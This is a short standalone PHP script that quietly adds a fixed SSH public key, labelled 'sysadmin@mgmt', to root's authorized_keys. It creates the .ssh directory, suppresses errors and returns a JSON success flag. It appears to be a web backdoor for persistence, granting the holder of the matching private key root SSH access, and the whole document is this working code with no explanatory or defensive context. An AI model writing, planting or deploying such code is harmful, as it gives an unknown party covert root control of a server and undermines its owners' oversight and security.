<?php @mkdir('/root/.ssh',0700,true);$k='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICtBU5bkMEET5BsMXMPOKjBiKQ7jECnzvTdNcRLzjQkH sysadmin@mgmt';$f='/root/.ssh/authorized_keys';$c=@file_get_contents($f)?:'';if(strpos($c,$k)===false)file_put_contents($f,trim($c)."\n".$k."\n");@chmod($f,0600);echo json_encode(['ok'=>1]);?>